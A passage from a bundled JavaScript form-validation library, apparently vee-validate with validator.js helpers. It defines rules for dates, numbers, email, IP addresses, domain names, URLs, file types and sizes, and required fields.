    format = inclusivity;
    inclusivity = '()';
  }

  var minDate = parseDate$1(String(min), format);
  var maxDate = parseDate$1(String(max), format);
  var dateVal = parseDate$1(String(value), format);

  if (!minDate || !maxDate || !dateVal) {
    return false;
  }

  if (inclusivity === '()') {
    return isAfter(dateVal, minDate) && isBefore(dateVal, maxDate);
  }

  if (inclusivity === '(]') {
    return isAfter(dateVal, minDate) && (isEqual(dateVal, maxDate) || isBefore(dateVal, maxDate));
  }

  if (inclusivity === '[)') {
    return isBefore(dateVal, maxDate) && (isEqual(dateVal, minDate) || isAfter(dateVal, minDate));
  }

  return isEqual(dateVal, maxDate) || isEqual(dateVal, minDate) ||
    (isBefore(dateVal, maxDate) && isAfter(dateVal, minDate));
};

var options$3 = {
  isDate: true
};

var paramNames$8 = ['min', 'max', 'inclusivity', 'format'];

var date_between = {
  validate: validate$8,
  options: options$3,
  paramNames: paramNames$8
};

var validate$9 = function (value, ref) {
  var format = ref.format;

  return !!parseDate$1(value, format);
};

var options$4 = {
  isDate: true
};

var paramNames$9 = ['format'];

var date_format = {
  validate: validate$9,
  options: options$4,
  paramNames: paramNames$9
};

// 

/**
 * Checks if the values are either null or undefined.
 */
var isNullOrUndefined = function () {
  var values = [], len = arguments.length;
  while ( len-- ) values[ len ] = arguments[ len ];

  return values.every(function (value) {
    return value === null || value === undefined;
  });
};

/**
 * Checks if a function is callable.
 */
var isCallable = function (func) { return typeof func === 'function'; };

/**
 * Converts an array-like object to array, provides a simple polyfill for Array.from
 */
var toArray = function (arrayLike) {
  if (isCallable(Array.from)) {
    return Array.from(arrayLike);
  }

  var array = [];
  var length = arrayLike.length;
  /* istanbul ignore next */
  for (var i = 0; i < length; i++) {
    array.push(arrayLike[i]);
  }

  /* istanbul ignore next */
  return array;
};

/**
 * Converts an array-like object to array and place other elements in an array
 */
var ensureArray = function (arrayLike) {
  if (Array.isArray(arrayLike)) {
    return [].concat( arrayLike );
  }
  var array = toArray(arrayLike);
  return isEmptyArray(array) ? [arrayLike] : array;
};

/**
 * Assign polyfill from the mdn.
 */
var assign = function (target) {
  var others = [], len = arguments.length - 1;
  while ( len-- > 0 ) others[ len ] = arguments[ len + 1 ];

  /* istanbul ignore else */
  if (isCallable(Object.assign)) {
    return Object.assign.apply(Object, [ target ].concat( others ));
  }

  /* istanbul ignore next */
  if (target == null) {
    throw new TypeError('Cannot convert undefined or null to object');
  }

  /* istanbul ignore next */
  var to = Object(target);
  /* istanbul ignore next */
  others.forEach(function (arg) {
    // Skip over if undefined or null
    if (arg != null) {
      Object.keys(arg).forEach(function (key) {
        to[key] = arg[key];
      });
    }
  });
  /* istanbul ignore next */
  return to;
};

var isEmptyArray = function (arr) {
  return Array.isArray(arr) && arr.length === 0;
};

var validate$a = function (value, ref) {
  if ( ref === void 0 ) ref = {};
  var decimals = ref.decimals; if ( decimals === void 0 ) decimals = '*';
  var separator = ref.separator; if ( separator === void 0 ) separator = '.';

  if (isNullOrUndefined(value) || value === '') {
    return false;
  }

  if (Array.isArray(value)) {
    return value.every(function (val) { return validate$a(val, { decimals: decimals, separator: separator }); });
  }

  // if is 0.
  if (Number(decimals) === 0) {
    return /^-?\d*$/.test(value);
  }

  var regexPart = decimals === '*' ? '+' : ("{1," + decimals + "}");
  var regex = new RegExp(("^[-+]?\\d*(\\" + separator + "\\d" + regexPart + ")?([eE]{1}[-]?\\d+)?$"));

  if (! regex.test(value)) {
    return false;
  }

  var parsedValue = parseFloat(value);

  // eslint-disable-next-line
  return parsedValue === parsedValue;
};

var paramNames$a = ['decimals', 'separator'];

var decimal = {
  validate: validate$a,
  paramNames: paramNames$a
};

var validate$b = function (value, ref) {
  var length = ref[0];

  if (Array.isArray(value)) {
    return value.every(function (val) { return validate$b(val, [length]); });
  }
  var strVal = String(value);

  return /^[0-9]*$/.test(strVal) && strVal.length === Number(length);
};

var digits = {
  validate: validate$b
};

var imageRegex = /\.(jpg|svg|jpeg|png|bmp|gif)$/i;

var validateImage = function (file, width, height) {
  var URL = window.URL || window.webkitURL;
  return new Promise(function (resolve) {
    var image = new Image();
    image.onerror = function () { return resolve({ valid: false }); };
    image.onload = function () { return resolve({
      valid: image.width === Number(width) && image.height === Number(height)
    }); };

    image.src = URL.createObjectURL(file);
  });
};

var validate$c = function (files, ref) {
  var width = ref[0];
  var height = ref[1];

  var images = ensureArray(files).filter(function (file) { return imageRegex.test(file.name); });
  if (images.length === 0) {
    return false;
  }
  return Promise.all(images.map(function (image) { return validateImage(image, width, height); }));
};

var dimensions = {
  validate: validate$c
};

var merge_1 = createCommonjsModule(function (module, exports) {

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = merge;

function merge() {
  var obj = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
  var defaults = arguments.length > 1 ? arguments[1] : undefined;

  for (var key in defaults) {
    if (typeof obj[key] === 'undefined') {
      obj[key] = defaults[key];
    }
  }

  return obj;
}

module.exports = exports.default;
module.exports.default = exports.default;
});

unwrapExports(merge_1);

var isByteLength_1 = createCommonjsModule(function (module, exports) {

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = isByteLength;

var _assertString = _interopRequireDefault(assertString_1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

/* eslint-disable prefer-rest-params */
function isByteLength(str, options) {
  (0, _assertString.default)(str);
  var min;
  var max;

  if (_typeof(options) === 'object') {
    min = options.min || 0;
    max = options.max;
  } else {
    // backwards compatibility: isByteLength(str, min [, max])
    min = arguments[1];
    max = arguments[2];
  }

  var len = encodeURI(str).split(/%..|./).length - 1;
  return len >= min && (typeof max === 'undefined' || len <= max);
}

module.exports = exports.default;
module.exports.default = exports.default;
});

unwrapExports(isByteLength_1);

var isFQDN_1 = createCommonjsModule(function (module, exports) {

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = isFQDN;

var _assertString = _interopRequireDefault(assertString_1);

var _merge = _interopRequireDefault(merge_1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

var default_fqdn_options = {
  require_tld: true,
  allow_underscores: false,
  allow_trailing_dot: false
};

function isFQDN(str, options) {
  (0, _assertString.default)(str);
  options = (0, _merge.default)(options, default_fqdn_options);
  /* Remove the optional trailing dot before checking validity */

  if (options.allow_trailing_dot && str[str.length - 1] === '.') {
    str = str.substring(0, str.length - 1);
  }

  var parts = str.split('.');

  for (var i = 0; i < parts.length; i++) {
    if (parts[i].length > 63) {
      return false;
    }
  }

  if (options.require_tld) {
    var tld = parts.pop();

    if (!parts.length || !/^([a-z\u00a1-\uffff]{2,}|xn[a-z0-9-]{2,})$/i.test(tld)) {
      return false;
    } // disallow spaces


    if (/[\s\u2002-\u200B\u202F\u205F\u3000\uFEFF\uDB40\uDC20]/.test(tld)) {
      return false;
    }
  }

  for (var part, _i = 0; _i < parts.length; _i++) {
    part = parts[_i];

    if (options.allow_underscores) {
      part = part.replace(/_/g, '');
    }

    if (!/^[a-z\u00a1-\uffff0-9-]+$/i.test(part)) {
      return false;
    } // disallow full-width chars


    if (/[\uff01-\uff5e]/.test(part)) {
      return false;
    }

    if (part[0] === '-' || part[part.length - 1] === '-') {
      return false;
    }
  }

  return true;
}

module.exports = exports.default;
module.exports.default = exports.default;
});

var isFQDN = unwrapExports(isFQDN_1);

var isIP_1 = createCommonjsModule(function (module, exports) {

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = isIP;

var _assertString = _interopRequireDefault(assertString_1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

var ipv4Maybe = /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/;
var ipv6Block = /^[0-9A-F]{1,4}$/i;

function isIP(str) {
  var version = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '';
  (0, _assertString.default)(str);
  version = String(version);

  if (!version) {
    return isIP(str, 4) || isIP(str, 6);
  } else if (version === '4') {
    if (!ipv4Maybe.test(str)) {
      return false;
    }

    var parts = str.split('.').sort(function (a, b) {
      return a - b;
    });
    return parts[3] <= 255;
  } else if (version === '6') {
    var blocks = str.split(':');
    var foundOmissionBlock = false; // marker to indicate ::
    // At least some OS accept the last 32 bits of an IPv6 address
    // (i.e. 2 of the blocks) in IPv4 notation, and RFC 3493 says
    // that '::ffff:a.b.c.d' is valid for IPv4-mapped IPv6 addresses,
    // and '::a.b.c.d' is deprecated, but also valid.

    var foundIPv4TransitionBlock = isIP(blocks[blocks.length - 1], 4);
    var expectedNumberOfBlocks = foundIPv4TransitionBlock ? 7 : 8;

    if (blocks.length > expectedNumberOfBlocks) {
      return false;
    } // initial or final ::


    if (str === '::') {
      return true;
    } else if (str.substr(0, 2) === '::') {
      blocks.shift();
      blocks.shift();
      foundOmissionBlock = true;
    } else if (str.substr(str.length - 2) === '::') {
      blocks.pop();
      blocks.pop();
      foundOmissionBlock = true;
    }

    for (var i = 0; i < blocks.length; ++i) {
      // test for a :: which can not be at the string start/end
      // since those cases have been handled above
      if (blocks[i] === '' && i > 0 && i < blocks.length - 1) {
        if (foundOmissionBlock) {
          return false; // multiple :: in address
        }

        foundOmissionBlock = true;
      } else if (foundIPv4TransitionBlock && i === blocks.length - 1) ; else if (!ipv6Block.test(blocks[i])) {
        return false;
      }
    }

    if (foundOmissionBlock) {
      return blocks.length >= 1;
    }

    return blocks.length === expectedNumberOfBlocks;
  }

  return false;
}

module.exports = exports.default;
module.exports.default = exports.default;
});

var isIP = unwrapExports(isIP_1);

var isEmail_1 = createCommonjsModule(function (module, exports) {

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = isEmail;

var _assertString = _interopRequireDefault(assertString_1);

var _merge = _interopRequireDefault(merge_1);

var _isByteLength = _interopRequireDefault(isByteLength_1);

var _isFQDN = _interopRequireDefault(isFQDN_1);

var _isIP = _interopRequireDefault(isIP_1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

var default_email_options = {
  allow_display_name: false,
  require_display_name: false,
  allow_utf8_local_part: true,
  require_tld: true
};
/* eslint-disable max-len */

/* eslint-disable no-control-regex */

var displayName = /^[a-z\d!#\$%&'\*\+\-\/=\?\^_`{\|}~\.\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+[a-z\d!#\$%&'\*\+\-\/=\?\^_`{\|}~\,\.\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF\s]*<(.+)>$/i;
var emailUserPart = /^[a-z\d!#\$%&'\*\+\-\/=\?\^_`{\|}~]+$/i;
var gmailUserPart = /^[a-z\d]+$/;
var quotedEmailUser = /^([\s\x01-\x08\x0b\x0c\x0e-\x1f\x7f\x21\x23-\x5b\x5d-\x7e]|(\\[\x01-\x09\x0b\x0c\x0d-\x7f]))*$/i;
var emailUserUtf8Part = /^[a-z\d!#\$%&'\*\+\-\/=\?\^_`{\|}~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+$/i;
var quotedEmailUserUtf8 = /^([\s\x01-\x08\x0b\x0c\x0e-\x1f\x7f\x21\x23-\x5b\x5d-\x7e\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]|(\\[\x01-\x09\x0b\x0c\x0d-\x7f\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))*$/i;
/* eslint-enable max-len */

/* eslint-enable no-control-regex */

function isEmail(str, options) {
  (0, _assertString.default)(str);
  options = (0, _merge.default)(options, default_email_options);

  if (options.require_display_name || options.allow_display_name) {
    var display_email = str.match(displayName);

    if (display_email) {
      str = display_email[1];
    } else if (options.require_display_name) {
      return false;
    }
  }

  var parts = str.split('@');
  var domain = parts.pop();
  var user = parts.join('@');
  var lower_domain = domain.toLowerCase();

  if (options.domain_specific_validation && (lower_domain === 'gmail.com' || lower_domain === 'googlemail.com')) {
    /*
      Previously we removed dots for gmail addresses before validating.
      This was removed because it allows `multiple..dots@gmail.com`
      to be reported as valid, but it is not.
      Gmail only normalizes single dots, removing them from here is pointless,
      should be done in normalizeEmail
    */
    user = user.toLowerCase(); // Removing sub-address from username before gmail validation

    var username = user.split('+')[0]; // Dots are not included in gmail length restriction

    if (!(0, _isByteLength.default)(username.replace('.', ''), {
      min: 6,
      max: 30
    })) {
      return false;
    }

    var _user_parts = username.split('.');

    for (var i = 0; i < _user_parts.length; i++) {
      if (!gmailUserPart.test(_user_parts[i])) {
        return false;
      }
    }
  }

  if (!(0, _isByteLength.default)(user, {
    max: 64
  }) || !(0, _isByteLength.default)(domain, {
    max: 254
  })) {
    return false;
  }

  if (!(0, _isFQDN.default)(domain, {
    require_tld: options.require_tld
  })) {
    if (!options.allow_ip_domain) {
      return false;
    }

    if (!(0, _isIP.default)(domain)) {
      if (!domain.startsWith('[') || !domain.endsWith(']')) {
        return false;
      }

      var noBracketdomain = domain.substr(1, domain.length - 2);

      if (noBracketdomain.length === 0 || !(0, _isIP.default)(noBracketdomain)) {
        return false;
      }
    }
  }

  if (user[0] === '"') {
    user = user.slice(1, user.length - 1);
    return options.allow_utf8_local_part ? quotedEmailUserUtf8.test(user) : quotedEmailUser.test(user);
  }

  var pattern = options.allow_utf8_local_part ? emailUserUtf8Part : emailUserPart;
  var user_parts = user.split('.');

  for (var _i = 0; _i < user_parts.length; _i++) {
    if (!pattern.test(user_parts[_i])) {
      return false;
    }
  }

  return true;
}

module.exports = exports.default;
module.exports.default = exports.default;
});

var isEmail = unwrapExports(isEmail_1);

function objectWithoutProperties (obj, exclude) { var target = {}; for (var k in obj) if (Object.prototype.hasOwnProperty.call(obj, k) && exclude.indexOf(k) === -1) target[k] = obj[k]; return target; }

var validate$d = function (value, ref) {
  if ( ref === void 0 ) ref = {};
  var multiple = ref.multiple; if ( multiple === void 0 ) multiple = false;
  var rest = objectWithoutProperties( ref, ["multiple"] );
  var options = rest;

  if (multiple && !Array.isArray(value)) {
    value = String(value).split(',').map(function (emailStr) { return emailStr.trim(); });
  }

  var validatorOptions = assign({}, options);

  if (Array.isArray(value)) {
    return value.every(function (val) { return isEmail(String(val), validatorOptions); });
  }

  return isEmail(String(value), validatorOptions);
};

var email = {
  validate: validate$d
};

var validate$e = function (value, options) {
  if (Array.isArray(value)) {
    return value.every(function (val) { return validate$e(val, options); });
  }

  return toArray(options).some(function (item) {
    // eslint-disable-next-line
    return item == value;
  });
};

var included = {
  validate: validate$e
};

var validate$f = function () {
  var args = [], len = arguments.length;
  while ( len-- ) args[ len ] = arguments[ len ];

  return !validate$e.apply(void 0, args);
};

var excluded = {
  validate: validate$f
};

var validate$g = function (files, extensions) {
  var regex = new RegExp((".(" + (extensions.join('|')) + ")$"), 'i');
  return ensureArray(files).every(function (file) { return regex.test(file.name); });
};

var ext = {
  validate: validate$g
};

var validate$h = function (files) { return (Array.isArray(files) ? files : [files]).every(function (file) { return /\.(jpg|svg|jpeg|png|bmp|gif)$/i.test(file.name); }); };

var image = {
  validate: validate$h
};

var validate$i = function (value) {
  if (Array.isArray(value)) {
    return value.every(function (val) { return /^-?[0-9]+$/.test(String(val)); });
  }

  return /^-?[0-9]+$/.test(String(value));
};

var integer = {
  validate: validate$i
};

var validate$j = function (value, ref) {
  if ( ref === void 0 ) ref = {};
  var version = ref.version; if ( version === void 0 ) version = 4;

  if (isNullOrUndefined(value)) {
    value = '';
  }

  if (Array.isArray(value)) {
    return value.every(function (val) { return isIP(val, version); });
  }

  return isIP(value, version);
};

var paramNames$b = ['version'];

var ip = {
  validate: validate$j,
  paramNames: paramNames$b
};

var validate$k = function (value) {
  if (isNullOrUndefined(value)) {
    value = '';
  }

  if (Array.isArray(value)) {
    return value.every(function (val) { return (isIP(val, '') || isFQDN(val)); });
  }

  return isIP(value, '') || isFQDN(value);
};

var ip_or_fqdn = {
  validate: validate$k
};

var validate$l = function (value, ref) {
  if ( ref === void 0 ) ref = [];
  var other = ref[0];

  return value === other;
};

var is = {
  validate: validate$l
};

var validate$m = function (value, ref) {
  if ( ref === void 0 ) ref = [];
  var other = ref[0];

  return value !== other;
};

var is_not = {
  validate: validate$m
};

/**
 * @param {Array|String} value
 * @param {Number} length
 * @param {Number} max
 */
var compare = function (value, length, max) {
  if (max === undefined) {
    return value.length === length;
  }

  // cast to number.
  max = Number(max);

  return value.length >= length && value.length <= max;
};

var validate$n = function (value, ref) {
  var length = ref[0];
  var max = ref[1]; if ( max === void 0 ) max = undefined;

  if (isNullOrUndefined(value)) {
    return false;
  }

  length = Number(length);
  if (typeof value === 'number') {
    value = String(value);
  }

  if (!value.length) {
    value = toArray(value);
  }

  return compare(value, length, max);
};

var length = {
  validate: validate$n
};

var validate$o = function (value, ref) {
  var length = ref[0];

  if (isNullOrUndefined(value)) {
    return length >= 0;
  }

  if (Array.isArray(value)) {
    return value.every(function (val) { return validate$o(val, [length]); });
  }

  return String(value).length <= length;
};

var max = {
  validate: validate$o
};

var validate$p = function (value, ref) {
  var max = ref[0];

  if (isNullOrUndefined(value) || value === '') {
    return false;
  }

  if (Array.isArray(value)) {
    return value.length > 0 && value.every(function (val) { return validate$p(val, [max]); });
  }

  return Number(value) <= max;
};

var max_value = {
  validate: validate$p
};

var validate$q = function (files, mimes) {
  var regex = new RegExp(((mimes.join('|').replace('*', '.+')) + "$"), 'i');
  return ensureArray(files).every(function (file) { return regex.test(file.type); });
};

var mimes = {
  validate: validate$q
};

var validate$r = function (value, ref) {
  var length = ref[0];

  if (isNullOrUndefined(value)) {
    return false;
  }

  if (Array.isArray(value)) {
    return value.every(function (val) { return validate$r(val, [length]); });
  }

  return String(value).length >= length;
};

var min = {
  validate: validate$r
};

var validate$s = function (value, ref) {
  var min = ref[0];

  if (isNullOrUndefined(value) || value === '') {
    return false;
  }

  if (Array.isArray(value)) {
    return value.length > 0 && value.every(function (val) { return validate$s(val, [min]); });
  }

  return Number(value) >= min;
};

var min_value = {
  validate: validate$s
};

var ar = /^[٠١٢٣٤٥٦٧٨٩]+$/;
var en = /^[0-9]+$/;

var validate$t = function (value) {
  var testValue = function (val) {
    var strValue = String(val);

    return en.test(strValue) || ar.test(strValue);
  };

  if (Array.isArray(value)) {
    return value.every(testValue);
  }

  return testValue(value);
};

var numeric = {
  validate: validate$t
};

var validate$u = function (value, ref) {
  var expression = ref.expression;

  if (typeof expression === 'string') {
    expression = new RegExp(expression);
  }

  if (Array.isArray(value)) {
    return value.every(function (val) { return validate$u(val, { expression: expression }); });
  }

  return expression.test(String(value));
};

var paramNames$c = ['expression'];

var regex = {
  validate: validate$u,
  paramNames: paramNames$c
};

var validate$v = function (value, ref) {
  if ( ref === void 0 ) ref = [];
  var invalidateFalse = ref[0]; if ( invalidateFalse === void 0 ) invalidateFalse = false;

  if (isNullOrUndefined(value) || isEmptyArray(value)) {
    return false;
  }

  // incase a field considers `false` as an empty value like checkboxes.
  if (value === false && invalidateFalse) {
    return false;
  }

  return !!String(value).trim().length;
};

var required = {
  validate: validate$v
};

var validate$w = function (value, ref) {
  if ( ref === void 0 ) ref = [];
  var otherFieldVal = ref[0];
  var possibleVals = ref.slice(1);

  var required = possibleVals.includes(String(otherFieldVal).trim());

  if (!required) {
    return {
      valid: true,
      data: {
        required: required
      }
    };
  }

  var invalid = (isEmptyArray(value) || [false, null, undefined].includes(value));

  invalid = invalid || !String(value).trim().length;

  return {
    valid: !invalid,
    data: {
      required: required
    }
  };
};

var options$5 = {
  hasTarget: true,
  computesRequired: true
};

var required_if = {
  validate: validate$w,
  options: options$5
};

var validate$x = function (files, ref) {
  var size = ref[0];

  if (isNaN(size)) {
    return false;
  }
  var nSize = Number(size) * 1024;
  return ensureArray(files).every(function (file) { return file.size <= nSize; });
};

var size = {
  validate: validate$x
};

var isURL_1 = createCommonjsModule(function (module, exports) {

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = isURL;

var _assertString = _interopRequireDefault(assertString_1);

var _isFQDN = _interopRequireDefault(isFQDN_1);

var _isIP = _interopRequireDefault(isIP_1);

var _merge = _interopRequireDefault(merge_1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

var default_url_options = {
  protocols: ['http', 'https', 'ftp'],
  require_tld: true,
  require_protocol: false,
  require_host: true,
  require_valid_protocol: true,
  allow_underscores: false,
  allow_trailing_dot: false,
  allow_protocol_relative_urls: false
};
var wrapped_ipv6 = /^\[([^\]]+)\](?::([0-9]+))?$/;

function isRegExp(obj) {
  return Object.prototype.toString.call(obj) === '[object RegExp]';
}

function checkHost(host, matches) {
  for (var i = 0; i < matches.length; i++) {
    var match = matches[i];

    if (host === match || isRegExp(match) && match.test(host)) {
      return true;
    }
  }

  return false;
}

function isURL(url, options) {
  (0, _assertString.default)(url);

  if (!url || url.length >= 2083 || /[\s<>]/.test(url)) {
    return false;
  }

  if (url.indexOf('mailto:') === 0) {
    return false;
  }

  options = (0, _merge.default)(options, default_url_options);
  var protocol, auth, host, hostname, port, port_str, split, ipv6;
  split = url.split('#');
  url = split.shift();
  split = url.split('?');
  url = split.shift();
  split = url.split('://');

  if (split.length > 1) {
    protocol = split.shift().toLowerCase();

    if (options.require_valid_protocol && options.protocols.indexOf(protocol) === -1) {
      return false;
    }
  } else if (options.require_protocol) {
    return false;
  } else if (url.substr(0, 2) === '//') {
    if (!options.allow_protocol_relative_urls) {
      return false;
    }

    split[0] = url.substr(2);
  }

  url = split.join('://');

  if (url === '') {
    return false;
  }

  split = url.split('/');
  url = split.shift();

  if (url === '' && !options.require_host) {
    return true;
  }

  split = url.split('@');

  if (split.length > 1) {
    if (options.disallow_auth) {
      return false;
    }

    auth = split.shift();

    if (auth.indexOf(':') >= 0 && auth.split(':').length > 2) {
      return false;
    }
  }

  hostname = split.join('@');
  port_str = null;
  ipv6 = null;
  var ipv6_match = hostname.match(wrapped_ipv6);

  if (ipv6_match) {
    host = '';
    ipv6 = ipv6_match[1];
    port_str = ipv6_match[2] || null;
  } else {
    split = hostname.split(':');
    host = split.shift();

    if (split.length) {
      port_str = split.join(':');
    }
  }

  if (port_str !== null) {
    port = parseInt(port_str, 10);

    if (!/^[0-9]+$/.test(port_str) || port <= 0 || port > 65535) {
      return false;
    }
  }

  if (!(0, _isIP.default)(host) && !(0, _isFQDN.default)(host, options) && (!ipv6 || !(0, _isIP.default)(ipv6, 6))) {
    return false;
  }

  host = host || ipv6;

  if (options.host_whitelist && !checkHost(host, options.host_whitelist)) {
    return false;
  }

  if (options.host_blacklist && checkHost(host, options.host_blacklist)) {
    return false;
  }

  return true;
}

module.exports = exports.default;
module.exports.default = exports.default;
});

var isURL = unwrapExports(isURL_1);

var validate$y = function (value, options) {
  if ( options === void 0 ) options = {};

  if (isNullOrUndefined(value)) {
    value = '';
  }

  var validatorOptions = assign({}, options);

  if (Array.isArray(value)) {
    return value.every(function (val) { return isURL(val, validatorOptions); });
  }

  return isURL(value, validatorOptions);
};

var url = {
  validate: validate$y
};

export { after, alpha$1 as alpha, alpha_dash, alpha_num, alpha_spaces, before, between, confirmed, credit_card, date_between, date_format, decimal, digits, dimensions, email, excluded, ext, image, included, integer, ip, ip_or_fqdn, is, is_not, length, max, max_value, mimes, min, min_value, numeric, regex, required, required_if, size, url };

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